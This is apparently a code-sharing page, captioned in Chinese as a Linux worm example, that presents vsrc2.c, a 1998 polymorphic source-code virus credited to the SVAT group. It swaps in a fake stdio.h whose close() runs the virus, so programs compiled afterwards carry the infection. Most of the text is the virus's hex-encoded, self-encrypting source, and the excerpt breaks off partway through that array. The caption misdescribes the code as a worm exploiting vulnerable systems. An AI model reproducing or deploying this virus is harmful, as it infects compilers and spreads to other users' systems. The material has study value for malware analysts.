vsrc2.c

代码给出了Linux系统下蠕虫代码如何通过有漏洞的系统进行蔓延的。

/* Vscr2.c - a source-code infector with simple mutation/encryption
 * techniques.
 * (C)opyright 1998 by the SVAT - group.
 *
 * Stealthf0rk/SVAT         <[e-mail]>
 * 
 * This virus affects programs that are compiled on a Linux system
 * that has had the virus run on it, or has been infected by the
 * virus.
 * Upon first execution, it places a new stdio.h in the /usr/local/include
 * directory that replaces the normal file "close()" function with one that 
 * executes the virus.
 * When a program compiled on an infected Linux system (that uses the close()
 * function) is transferred to another system, running that program will
 * execute the virus, creating the new close() function with the virus
 * code in it.
 *
 */

#include "/usr/include/stdio.h"
#include <fcntl.h>
#include <linux/unistd.h>
#include <sys/stat.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>
#define CHARS 2663

/* the prototypes*/
int virfunc(void);
int Close(int);
int Crypt(char *, int);
int mutate(char*);

/* contains the source file below the BEGIN-line */
/* this allows the program to copy most of itself */
/* this is also the part that is encrypted to make the virus */
/* polymorphic */
char C[] = "\x69\x6e\x74\x20\x63\x6c\x6f\x73\x65\x28\x69\x6e\x74\x20"
"\x66\x64\x29\x20\x0a\x7b\x0a\x20\x20\x20\x09\x76\x69\x72\x66"
"\x75\x6e\x63\x28\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20"
"\x72\x65\x74\x75\x72\x6e\x20\x43\x6c\x6f\x73\x65\x28\x66\x64"
"\x29\x3b\x0a\x7d\x0a\x0a\x0a\x69\x6e\x74\x20\x43\x6c\x6f\x73"
"\x65\x28\x69\x6e\x74\x20\x69\x29\x0a\x7b\x0a\x20\x20\x20\x09"
"\x6c\x6f\x6e\x67\x20\x5f\x5f\x72\x65\x73\x3b\x0a\x20\x20\x20"
"\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x5f"
"\x5f\x61\x73\x6d\x5f\x5f\x20\x76\x6f\x6c\x61\x74\x69\x6c\x65"
"\x20\x28\x22\x69\x6e\x74\x20\x24\x30\x78\x38\x30\x22\x0a\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x09\x3a\x20\x22\x3d\x61\x22\x20\x28\x5f\x5f\x72\x65\x73\x29"
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x3a\x20\x22\x30\x22"
"\x20\x28\x5f\x5f\x4e\x52\x5f\x63\x6c\x6f\x73\x65\x29\x2c\x22"
"\x62\x22\x20\x28\x28\x6c\x6f\x6e\x67\x29\x28\x69\x29\x29\x29"
"\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x28"
"\x5f\x5f\x72\x65\x73\x20\x3e\x3d\x20\x30\x29\x0a\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x09\x72\x65\x74\x75\x72"
"\x6e\x20\x28\x69\x6e\x74\x29\x5f\x5f\x72\x65\x73\x3b\x0a\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x65\x72\x72\x6e\x6f\x20\x3d"
"\x20\x2d\x5f\x5f\x72\x65\x73\x3b\x0a\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x2d\x31\x3b\x0a\x7d"
"\x0a\x0a\x69\x6e\x74\x20\x76\x69\x72\x66\x75\x6e\x63\x28\x76"
"\x6f\x69\x64\x29\x0a\x7b\x0a\x20\x20\x20\x09\x46\x49\x4c\x45"
"\x20\x2a\x66\x64\x3b\x0a\x20\x20\x20\x09\x73\x74\x61\x74\x69"
"\x63\x20\x69\x6e\x74\x20\x66\x69\x72\x73\x74\x20\x3d\x20\x30"
"\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x69\x6e\x74\x20\x69"
"\x20\x3d\x20\x30\x2c\x20\x6a\x20\x3d\x20\x31\x2c\x20\x6f\x6c"
"\x64\x6d\x61\x73\x6b\x20\x3d\x20\x30\x3b\x0a\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20"
"\x20\x20\x20\x20\x20\x69\x66\x20\x28\x66\x69\x72\x73\x74\x29"
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x09\x72\x65"
"\x74\x75\x72\x6e\x20\x30\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x6f\x6c\x64\x6d\x61"
"\x73\x6b\x20\x3d\x20\x75\x6d\x61\x73\x6b\x28\x30\x29\x3b\x0a"
"\x20\x20\x20\x20\x20\x20\x20\x20\x43\x72\x79\x70\x74\x28\x43"
"\x2c\x20\x43\x48\x41\x52\x53\x29\x3b\x0a\x20\x20\x20\x20\x20"
"\x20\x20\x20\x6d\x6b\x64\x69\x72\x28\x22\x2f\x75\x73\x72\x2f"
"\x6c\x6f\x63\x61\x6c\x2f\x69\x6e\x63\x6c\x75\x64\x65\x22\x2c"
"\x20\x30\x37\x35\x35\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x20\x75\x6e\x6c\x69\x6e\x6b\x28\x22\x2f\x75\x73\x72\x2f\x6c"
"\x6f\x63\x61\x6c\x2f\x69\x6e\x63\x6c\x75\x64\x65\x2f\x73\x74"
"\x64\x69\x6f\x2e\x68\x22\x29\x3b\x0a\x20\x20\x20\x20\x20\x20"
"\x20\x20\x69\x66\x20\x28\x28\x66\x64\x20\x3d\x20\x66\x64\x6f"
"\x70\x65\x6e\x28\x6f\x70\x65\x6e\x28\x22\x2f\x75\x73\x72\x2f"
"\x6c\x6f\x63\x61\x6c\x2f\x69\x6e\x63\x6c\x75\x64\x65\x2f\x73"
"\x74\x64\x69\x6f\x2e\x68\x22\x2c\x20\x4f\x5f\x43\x52\x45\x41"
"\x54\x7c\x4f\x5f\x52\x44\x57\x52\x2c\x20\x30\x36\x34\x34\x29"
"\x2c\x20\x22\x77\x2b\x22\x29\x29\x20\x3d\x3d\x20\x4e\x55\x4c"
"\x4c\x29\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x09"
"\x70\x65\x72\x72\x6f\x72\x28\x22\x66\x6f\x70\x65\x6e\x22\x29"
"\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x66\x70\x72\x69\x6e"
"\x74\x66\x28\x66\x64\x2c\x20\x22\x23\x69\x6e\x63\x6c\x75\x64"
"\x65\x20\x5c\x22\x2f\x75\x73\x72\x2f\x69\x6e\x63\x6c\x75\x64"
"\x65\x2f\x73\x74\x64\x69\x6f\x2e\x68\x5c\x22\x5c\x6e\x22\x0a"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x22\x23\x69\x6e\x63\x6c\x75\x64\x65\x20"
"\x3c\x66\x63\x6e\x74\x6c\x2e\x68\x3e\x5c\x6e\x22\x0a\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x22\x23\x69\x6e\x63\x6c\x75\x64\x65\x20\x3c\x6c"
"\x69\x6e\x75\x78\x2f\x75\x6e\x69\x73\x74\x64\x2e\x68\x3e\x5c"
"\x6e\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x22\x23\x69\x6e\x63\x6c\x75"
"\x64\x65\x20\x3c\x73\x79\x73\x2f\x73\x74\x61\x74\x2e\x68\x3e"
"\x5c\x6e\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22\x23\x69\x6e\x63\x6c"
"\x75\x64\x65\x20\x3c\x75\x6e\x69\x73\x74\x64\x2e\x68\x3e\x5c"
"\x6e\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x22\x23\x69\x6e\x63\x6c\x75"
"\x64\x65\x20\x3c\x65\x72\x72\x6e\x6f\x2e\x68\x3e\x5c\x6e\x22"
"\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x22\x23\x69\x6e\x63\x6c\x75\x64\x65"
"\x20\x3c\x73\x74\x72\x69\x6e\x67\x2e\x68\x3e\x5c\x6e\x22\x0a"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x22\x23\x64\x65\x66\x69\x6e\x65\x20\x43"
"\x48\x41\x52\x53\x20\x25\x64\x5c\x6e\x5c\x6e\x22\x0a\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x22\x69\x6e\x74\x20\x76\x69\x72\x66\x75\x6e\x63"
"\x28\x76\x6f\x69\x64\x29\x3b\x5c\x6e\x22\x0a\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x22\x69\x6e\x74\x20\x43\x6c\x6f\x73\x65\x28\x69\x6e\x74"
"\x29\x3b\x5c\x6e\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22\x69\x6e\x74"
"\x20\x6d\x75\x74\x61\x74\x65\x28\x63\x68\x61\x72\x2a\x29\x3b"
"\x5c\x6e\x22\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22\x69\x6e\x74\x20\x43"
"\x72\x79\x70\x74\x28\x63\x68\x61\x72\x2a\x2c\x20\x69\x6e\x74"
"\x29\x3b\x5c\x6e\x5c\x6e\x22\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22\x63"
"\x68\x61\x72\x20\x43\x5b\x5d\x20\x3d\x20\x5c\x6e\x5c\x22\x22"
"\x2c\x20\x43\x48\x41\x52\x53\x29\x3b\x0a\x20\x0a\x20\x20\x20"
"\x20\x20\x20\x20\x20\x6d\x75\x74\x61\x74\x65\x28\x6b\x65\x79"
"\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x43\x72\x79\x70"
"\x74\x28\x43\x2c\x20\x43\x48\x41\x52\x53\x29\x3b\x0a\x20\x20"
"\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x28\x69\x20\x3d\x20"
"\x30\x3b\x20\x69\x20\x3c\x20\x43\x48\x41\x52\x53\x3b\x20\x69"
"\x2b\x2b\x29\x20\x7b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x09\x69\x66\x20\x28\x28\x6a\x20\x25\x20\x31\x35\x29"
"\x20\x3d\x3d\x20\x30\x29\x20\x7b\x0a\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x09\x66"
"\x70\x72\x69\x6e\x74\x66\x28\x66\x64\x2c\x20\x22\x5c\x22\x5c"
"\x6e\x5c\x22\x22\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x6a\x20\x3d\x20\x30\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x09\x66\x70\x72\x69\x6e\x74\x66"
"\x28\x66\x64\x2c\x20\x22\x5c\x5c\x78\x25\x30\x32\x78\x22\x2c"
"\x20\x28\x75\x6e\x73\x69\x67\x6e\x65\x64\x20\x63\x68\x61\x72"
"\x29\x43\x5b\x69\x5d\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6a\x2b\x2b\x3b\x0a\x20"
"\x20\x20\x20\x20\x20\x20\x20\x7d\x0a\x20\x20\x20\x20\x20\x20"
"\x20\x20\x66\x70\x72\x69\x6e\x74\x66\x28\x66\x64\x2c\x20\x22"
"\x5c\x22\x3b\x5c\x6e\x5c\x6e\x22\x29\x3b\x0a\x20\x20\x20\x20"
"\x20\x20\x20\x20\x66\x70\x72\x69\x6e\x74\x66\x28\x66\x64\x2c"
"\x20\x22\x5c\x6e\x5c\x6e\x75\x6e\x73\x69\x67\x6e\x65\x64\x20"
"\x63\x68\x61\x72\x20\x6b\x65\x79\x5b\x34\x5d\x20\x3d\x20\x7b"
"\x30\x78\x25\x30\x32\x78\x2c\x20\x30\x78\x25\x30\x32\x78\x2c"
"\x20\x30\x78\x25\x30\x32\x78\x2c\x20\x30\x78\x25\x30\x32\x78"
"\x7d\x3b\x5c\x6e\x5c\x6e\x22\x2c\x20\x0a\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x28\x75\x6e\x73\x69\x67\x6e\x65\x64\x20\x63\x68\x61\x72"
"\x29\x6b\x65\x79\x5b\x30\x5d\x2c\x20\x28\x75\x6e\x73\x69\x67"
"\x6e\x65\x64\x20\x63\x68\x61\x72\x29\x6b\x65\x79\x5b\x31\x5d"
"\x2c\x20\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20"
"\x20\x20\x20\x20\x20\x20\x20\x20\x20\x28\x75\x6e\x73\x69\x67"
"\x6e\x65\x64\x20\x63\x68\x61\x72\x29\x6b\x65\x79\x5b\x32\x5d"
"\x2c\x20\x28\x75\x6e\x73\x69\x67\x6e\x65\x64\x20\x63\x68\x61"
"\x72\x29\x6b\x65\x79\x5b\x33\x5d\x29\x3b\x0a\x20\x20\x20\x20"
"\x20\x20\x20\x20\x43\x72\x79\x70\x74\x28\x43\x2c\x20\x43\x48"
"\x41\x52\x53\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x66"
"\x70\x72\x69\x6e\x74\x66\x28\x66\x64\x2c\x20\x22\x25\x73\x22"
"\x2c\x20\x43\x29\x3b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x66"
"\x63\x6c\x6f\x73\x65\x28\x66\x64\x29\x3b\x0a\x20\x20\x20\x20"
"\x20\x20\x20\x20\x66\x69\x72\x73\x74\x20\x3d\x20\x31\x3b\x0a"
"\x20\x20\x20\x20\x20\x20\x20\x20\x75\x6d\x61\x73\x6b\x28\x6f"
"\x6c\x64\x6d\x61\x73\x6b\x29\x3b\x0a\x20\x20\x20\x20\x20\x20"
"\x20\x20\x72\x65\x74\x75\x72\x6e\x20\x30\x3b\x0a\x7d\x20\x0a"
"\x0a\x69\x6e\x74\x20\x43\x72\x79\x70\x74\x28\x63\x68\x61\x72"
"\x20\x2a\x73\x2c\x20\x69\x6e\x74\x20\x6c\x65\x6e\x29\x0a\x7b"
"\x0a\x20\x20\x20\x09\x69\x6e\x74\x20\x69\x20\x3d\x20\x30\x2c"
"\x20\x6a\x20\x3d\x20\x30\x3b\x0a\x20\x20\x20\x20\x20\x20\x20"